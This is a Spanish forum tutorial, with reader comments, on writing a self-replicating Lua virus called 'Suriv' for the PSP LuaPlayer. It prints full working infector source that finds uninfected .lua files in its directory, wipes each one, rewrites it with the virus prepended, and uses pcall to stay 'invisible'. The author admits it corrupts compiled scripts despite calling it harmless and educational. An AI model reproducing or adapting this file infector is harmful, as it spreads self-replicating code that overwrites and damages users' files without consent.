Nivel: Avanzado.
AVISO: Este tutorial es para propósitos educativos, en él no se incluye ningún código destructivo ni se fomentan prácticas no legales.
Esta es una manera de hacer un Virus en Lua, que infecte a su vez archivos lua. Entendemos por virus un código que es capaz de infectar a otro, para que el infectado pueda a su vez volver a infectar.
No voy a poner ningún código dañino, este virus, sólo se replicará en otro fichero Lua, sin hacer nada más. Además de que sólo infectará a los ficheros que estén en su mismo directorio, no hará búsquedas complejas o recursivas para localizar víctimas. Es un aviso para los Lammers y los Script Kiddies: no esperéis sin esfuerzo y conocimiento poder hacer algo más complejo.
Antes de empezar, he de suponer que sabes programar (tener banderita no cuenta), y lógicamente sabes programar en Lua, ya que se usa terminología avanzada. Voy a centrar el código para usarlo en Luaplayer (creo que también funcionará en HM7). Como veréis más adelante, sería mucho más sencillo hacerlo para el Lua que se usa en PC, ya sea Windows, Unix, Linux o MacOSX.
El código lo he comentado en Inglés porque supongo que así llegará a mas gente, no obstante el que no sepa inglés que no se queje que aquí voy a explicarlo con más detalle.
Debéis esquematizar, los pasos más importantes que hará nuestro virus. Os aconsejo que antes leáis la definición de virus en la wikipedia. Un virus NO es un gusano, ni tampoco un troyano. Si no os quedan claro esos conceptos, aprendedlos antes de seguir leyendo. Un rezo a San Google o una oración a Santa Wiki, hacen milagros.
El esquema del virus puede variar, pero para el ejemplo que nos ocupa y teniendo en cuenta que esto es Lua quedará así:
Lo más importante es duplicar el código del virus en la víctima, pero tenemos un problema. ¿cómo podemos copiar nuestro propio código si no sabemos el fichero en el que está?. La primera vez sí, lógico porque lo hemos puesto nosotros "a mano", ¿pero cuando infecte un código, cuando ese código se ejecute y quiera volver a infectar?. En Lua normal, arg[0] nos devuelve el nombre de nuestro script actual, pero para la PSP no está esa función, así que este es el primer problema que tenemos. El hacking no es fácil, siempre salen problemas.
Una idea que se me ocurrió es que en caso de error, el intérprete nos muestra una linea indicándonos el nombre del script, y es posible tener un error en Lua sin detener la ejecución, esto lo explico en otro tutorial "Lua a prueba de errores I", así que no voy a extenderme más en el tema.
Entonces, tenemos que en la linea 54 forzamos un error creando una singularidad (los aficionados a la mecánica cuántica o a la cosmología pillarán el chiste de esa linea :P). Esto nos devolverá una cadena como script.lua:XX: attempt to perform arithmetic on a nil value. Vemos que en esa cadena está el nombre del script, en la 56 lo extraemos y voilá, un problema menos. Hay que recordar que al usar pcall no hemos generado ningún error visible, un virus lo que menos quiere es darse a conocer a su anfitrión.
Ahora que tenemos el nombre ejecutamos la infección mediante una función, hay que hacerlo a través de una función porque tenemos que volver a usar pcall, para ser "invisibles" en caso de que surgiera algún error.
La función manda como parámetro el script actual, de la linea 5 a la 9 se declaran las variables que se usaran. No seais mamelucos y uséis variables globales, usad locales siempre que podáis (aunque aquí nadie las usa por los códigos que veo pero bueno). He tenido que usar 2 globales porque no había otro remedio, pero las pongo a nil al final. Hay que intentar "molestar" lo menos posible el código de la víctima y con las locales nos aseguramos de ello.
En la linea 10, comenzamos un bucle con los ficheros del directorio actual y en la linea 12 con expresiones "a lo perl" comprobamos que tenga extensión lua, si la tiene entre las lineas 13 y 16, leemos la primera linea del fichero para comprobar que no está ya infectado, y esto como habrás podido adivinar se hace comprobando que esa primera linea no es igual a la primera Linea de nuestro virus (por cierto le he llamado Suriv).
Ahora llego al siguiente problema que me encontré, y que voy a comentar ahora. En teoría, podemos abrir a la víctima (no en canal, sino el fichero) situarnos al principio del mismo e insertar nuestro virus "antes" de su código, pero lamentablemente no es así, no hay forma de escribir al principio del fichero, lo he probado de todas las maneras posibles, usando seek("set") y abríendolo de todas las formas (w,a,r+,w+,a+) pero no funciona, desde Linux ha funcionado sin problema así que es un fallo del intérprete PSP (y van...).
Dicho esto, la estrategia de abrir el fichero destino, escribir nuestro código al principio del mismo, cerrar el fichero y hasta luego Lucas, no se puede hacer. Me decidí por el plan B.
No queda otra que borrar el fichero para insertar primero el virus, ya que el virus tiene que ir al principio, sino nunca se ejecutará. Pero antes, debemos guardar el código de la víctima, comenzamos en la linea 18 con la linea que ya tenemos y luego hacemos lo mismo con el resto de lineas. victimCode contiene ahora todo el código del futuro huesped.
Una vez tenemos el código, en 23 cerramos el fichero y lo volvemos abrir en modo "w+" borrándolo por completo, también abrimos nuestro propio fichero, para extraer el código del virus.
Empezamos a escribir el código hasta que nos encontremos con la última linea del virus, el resto de lineas será código de otro huesped, que no interesa ni debemos poner. Esto lo comprobamos en 30 (el "^" es una expresión que indica principio de linea). Después de guardar esa última linea, en 34 recorremos victimCode y lo escribirmos.
Cuando acabamos, en 37 hacemos un flush para asegurarnos de que se escribe realmente en disco y no se queda en ninguna caché, ponemos la variable completed a true indicando que hemos realizado una infección con éxito. Después cerramos todos los archivos abiertos y en 47 salimos del bucle si está "completed".
Y eso es todo :D. Como podéis ver tenemos un virus en unas 50 lineas quitando los comentarios. Podéis probarlo poniendolo en un directorio con varios ficheros Lua, infectará a uno cada vez que lo ejecutéis y si lanzais alguno infectado, a su vez infectará a otro.
Una cosa importante es que corromperá los Lua compilados, ya que se ejecutará el código del virus, pero el intérprete dará error al ejecutar el código anfitrión porque las siguientes lineas están compiladas y un script debe estar compilado desde la primera linea para que funcione. Os lo dejo como ejercicio, el comprobar que aunque sea un fichero .lua no lo infecte si está compilado.
Como se puede ver el código es "inofensivo" en sí mismo, pero se corre el riesgo de corromper datos por errores de escritura, así que probarlo con código del que tengáis copia, y usadlo sabiamente y con precaución.
Programar virus y gusanos, para mí es algo muy gratificante (aunque desgraciadamente hace mucho que no toco el tema), es como crear "vida", unas instrucciones que se reproducen por su cuenta o través de otros códigos. El verdadero potencial se ve en ensamblador, tocas "el ADN" del código, porque mediante un lenguaje de script, no puedes acceder directamente a la memoria y a otros recursos del sistema, pero también es divertido. Nunca me ha gustado el uso de crearlo para "expandirlos" y fastidiar a la gente, yo siempre lo he visto como una manera de aprender y divertirme. Hacer virus/gusanos/troyano no es malo, lo mismo que disparar. Lo malo es cuando lo haces contra otras personas en vez de contra una "diana" bajo control. En fin, no me enrollo más y aquí os pongo el código.
01 --Suriv BEGIN 02 --By GorristeR. PSP Lua ViruZ for educational purposes only. Under GPL3 License 03 --http://psp.scenebeta.com 04 function GoInfectSuriv(myName) 05 local fileList = System.listDirectory(".") 06 local n, i, v, line, hVictim, hMe 07 local victimCode = {} 08 local infected, completed = false 09 if fileList ~= nil then 10 for n = 1, table.maxn(fileList) do 11 --Looking for a Lua file 12 if string.find(string.lower(fileList[n].name), "%.lua$") then 13 hVictim = io.open(fileList[n].name, "r") 14 line = hVictim:read() 15 --Check if already is infected 16 infected = string.find(line, "^--Suriv BEGIN") 17 if not infected then 18 table.insert(victimCode, line) 19 for line in hVictim:lines() do 20 table.insert(victimCode, line) 21 end 22 --Now with the victim source stored, we reopen the file erasing all previous data 23 io.close(hVictim) 24 hVictim = io.open(fileList[n].name, "w+") 25 hMe = io.open(myName, "r") 26 --Line by line we write our self code 27 for line in hMe:lines() do 28 hVictim:write(line.."\n") 29 --Until the last ViruZ line 30 if string.find(line, "^--Suriv END") then 31 --This "\n" ensure the old code in a new line 32 hVictim:write("\n") 33 --Write the old code 34 for i,v in ipairs(victimCode) do 35 hVictim:write(v.."\n") 36 end 37 io.flush(hVictim) 38 completed = true 39 break; 40 end 41 end --for line 42 io.close(hVictim) 43 io.close(hMe) 44 else 45 io.close(hVictim) 46 end --if not infected 47 if completed then break end 48 end --if %.lua$ 49 end --for n 50 end 51 end 52 --Because arg[0] dont work in PSP, we obtain our script name throwing a math error. 53 --foo returns true, and myName is "script.lua:XX: attempt to perform arithmetic on a nil value" 54 foo, myName = pcall(function() singularity = 3.14159/nil end) -- Thanks Stephen Hawking ;-) 55 --That's all for extract the fucked name. :D 56 myName = string.sub(myName, 1, string.find(myName, ":")-1) 57 --Using pcall the victim dont receive any error message. The ViruZ is INVISIBLE 58 pcall(GoInfectSuriv, myName) 59 foo = nil; myName = nil 60 --Suriv END
Un último apunte, quería comentar una idea de Moikop para averiguar el nombre de nuestro script en este post, consiste en introducir el nombre en el código del virus, pero tiene la desventaja de que si el script cambia de nombre no funciona, aún así, sigue siendo una gran idea y puede servir para otro tipo de script diferente a Lua del que no podamos aprovecharnos de un error para averiguarlo.
LuaDiE: Crea en Lua sin teclear código. Compatible HM7, HMv2, LuaPlayer, LuaDEV y PGE.
bendita la hora...
bendita la hora que decidí poner un "hipervisor" casero a luadev xDDDDDDDDD
Con estos buenos tutos seguro mas de uno akaban usandolo para prevenir riesgos. xDDD
Actualmente desarrollando nuestra web y UXCode : http://www.gcrew.es
wow!
Muy buen tutorial, muy ingenioso, forzar un error sin parar la ejecución del programa para saber el nombre del script a través del error.
PD: Gorrister, creo que te has confundido escribiendo:
We're off now to seek all our fortunes to the land... of... our dreams
Gracias, corregido.
Gracias, corregido.
Ahora entiendo el caso raro XD
Muy interesante el código y su explicación. Ahora he entendido a los virus mucho mejor, y me han dado ganas de aprender más sobre ellos :P
Gracias por el tuto, tremendo. Y buena forma de saber el nombre del script, muy ingeniosa...
Para recibir ayuda por parte de otros usuarios más rápidamente, recomendamos que pongas títulos descriptivos y no utilices abreviaturas (estilo MSN) en tus post de los foros. Recuerda que accediendo al Manual del perfecto forero y las Normas de la Comunidad aprenderas trucos para resolver tus dudas antes.
No preguntes por MP, mejor pregunta aquí.
Tu
Tambien creando un Virus..... esto le servira mucho a los Fakers seguro.
Se nota
que no sabes ni de lo que estas hablando.
Ni si quiera sabes que es peor un CFW por que va mas alla que un virus, hasi como en la pirateria.
Youtube Channel - MrHenyckma (Grykon!) ¡Nuevos vídeos! Clíckea en la IMG :D!
Youtube propio, si quieres escuchar mi música :)